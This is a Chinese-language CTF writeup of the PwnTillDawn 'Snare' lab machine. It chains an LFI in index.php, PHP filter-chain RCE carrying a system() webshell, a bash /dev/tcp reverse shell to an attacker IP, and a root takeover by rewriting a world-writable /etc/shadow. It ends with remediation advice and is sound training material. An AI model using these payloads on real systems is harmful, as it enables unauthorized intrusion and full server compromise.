PwnTillDawn — Snare (10.150.150.18) Writeup
平台:PwnTillDawn Online Battlefield by wizlynx group
難度:Easy
作業系統:Linux (Ubuntu 20.04)
0x00 偵察
Port Scan
使用 RustScan 快速掃描全 port,再接 nmap 細掃:
rustscan -a 10.150.150.18 -b 1000 -- -sC -sV
結果只開了兩個 port:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu |
| 80 | HTTP | Apache 2.4.41 (Ubuntu) |
nmap 的 NSE script 抓到 HTTP title 做了重導向:
http-title: Welcome to my homepage!
Requested resource was /index.php?page=home
index.php?page=home 這個 URL pattern 非常可疑,page 參數很可能存在 Local File Inclusion (LFI) 漏洞。
0x01 Web 枚舉
目錄掃描
feroxbuster -u http://10.150.150.18/index.php?page= -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5發現關鍵路徑:
/includes/— 目錄可列舉/includes/a_config.php— 回應 0 bytes(有 PHP 邏輯但無 HTML 輸出)/includes/navigation.php、footer.php、head-tag-contents.php等模板檔案
0x02 LFI 確認與原始碼洩漏
基本 LFI 測試
直接嘗試路徑穿越讀取 /etc/passwd:
curl "http://10.150.150.18/index.php?page=../../../etc/passwd"
失敗,頁面正常回應但無檔案內容。
PHP Filter 讀取原始碼
使用 php://filter wrapper 將 PHP 原始碼 base64 編碼後輸出:
curl "http://10.150.150.18/index.php?page=php://filter/convert.base64-encode/resource=index"
成功!解碼後取得 index.php 原始碼:
<?php include("includes/a_config.php");?>
<!DOCTYPE html>
<html>
<head>
<?php include("includes/head-tag-contents.php");?>
</head>
<body>
<?php include("includes/design-top.php");?>
<?php include("includes/navigation.php");?>
<div class="container" id="main-content">
<?php
if (empty($_GET)) {
header('Location: /index.php?page=home');
}
else {
$page = $_GET['page'];
include ($page. '.php');
}
?>
</div>
<?php include("includes/footer.php");?>
</body>
</html>
關鍵發現:
$page = $_GET['page'];
include ($page. '.php');
使用者輸入的 page 參數完全沒有任何過濾,直接串接 .php 後綴後傳入 include(),這就是為什麼直接讀 /etc/passwd 會失敗——因為實際上嘗試 include 的是 /etc/passwd.php。
0x03 PHP Filter Chain RCE
為什麼傳統手法失敗
- 路徑穿越 + /etc/passwd:
.php後綴導致路徑不存在 - data:// wrapper:需要
allow_url_include=On(預設 Off) - pearcmd.php trick:目標未安裝 PEAR
PHP Filter Chain Generator
2022 年 Synacktiv 發表了一個突破性技巧:透過串接大量 PHP iconv filter,可以從 php://temp(空資源)中「憑空」產生任意 PHP 程式碼,這個技巧:
- 不需要
allow_url_include - 不需要 伺服器上存在特定檔案
- 不受
.php後綴影響(因為 resource 是php://temp)
使用 php_filter_chain_generator 生成 payload:
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
工具生成了一段超長的 php://filter/... chain,將其作為 page 參數的值,並附加 &c=id 測試:
curl --globoff -o - "http://10.150.150.18/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<省略>...|convert.base64-decode/resource=php://temp&c=id" 2>/dev/null
回應中出現:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE 達成!
0x04 Reverse Shell
在攻擊機上開啟 listener:(Windows power shell)
ncat -lvnp 4444
透過 PHP Filter Chain RCE 送 reverse shell(需 URL encode):
curl --globoff -s -o /dev/null "http://10.150.150.18/index.php?page=<FILTER_CHAIN>&c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"
成功接到 shell:
www-data@snare:/var/www/html$
0x05 FLAG1
www-data@snare:/$ ls /home/
snare
www-data@snare:/$ cat /home/snare/FLAG1.txt
RedactedFLAG1:Redacted
0x06 提權至 Root
枚舉
www-data@snare:/$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20 2020 /etc/shadow
/etc/shadow 的權限是 777——所有使用者都可以讀寫!這是一個嚴重的檔案權限配置錯誤。
覆寫 Root 密碼
生成新的密碼 hash:
openssl passwd -6 -salt xyz hacked123
# $6$xyz$83/UloSNcxbQq8O5DCPtPfZp...
由於 sed -i 需要在 /etc/ 建立暫存檔(www-data 對目錄沒有寫入權限),改用 cp 搭配 /tmp/ 中轉:
cp /etc/shadow /tmp/shadow.bak
sed 's|^root:[^:]*|root:$6$xyz$83/UloSNcxbQq8O5DCPtPfZp.37csnrtPIYRGAZaLwzNy/thRXazOTqB21HCfGVkBJxB.Nm/JLV8UdIw0KGOB.|' /tmp/shadow.bak > /tmp/shadow.new
cp /tmp/shadow.new /etc/shadow
su root
# 密碼: hacked123
root@snare:~# whoami
root
FLAG2
root@snare:~# cat /root/FLAG2.txt
RedactedFLAG2:Redacted
0x07 攻擊鏈總結
Web 偵察 → LFI (index.php?page=)
→ PHP Filter 原始碼洩漏
→ PHP Filter Chain RCE (Synacktiv)
→ Reverse Shell (www-data)
→ /etc/shadow 777 可寫
→ 覆寫 Root 密碼
→ Root!
漏洞清單
| # | 漏洞 | 嚴重性 | 說明 |
|---|---|---|---|
| 1 | Local File Inclusion | High | include($_GET['page'] . '.php') 無任何過濾 |
| 2 | PHP Filter Chain RCE | Critical | 透過 iconv filter chain 從 LFI 達成 RCE |
| 3 | /etc/shadow 權限錯誤 | Critical | 777 權限允許任意使用者讀寫 |
修補建議
- LFI:使用白名單驗證
page參數,例如in_array($page, ['home', 'about', 'contact']) - PHP Filter Chain:禁用不必要的 PHP wrapper(
php://filter),或在php.ini中限制可用的 stream wrapper - 檔案權限:
/etc/shadow應設為640(-rw-r-----),僅 root 和 shadow 群組可讀
經驗分享
0x06:
這一步其實試了很多提權方法,甚至發現/etc/shadow可以讀,有嘗試本地破解密碼,但是失敗,結果竟然發現可以"寫",所以就用替換密碼的方法。
Member discussion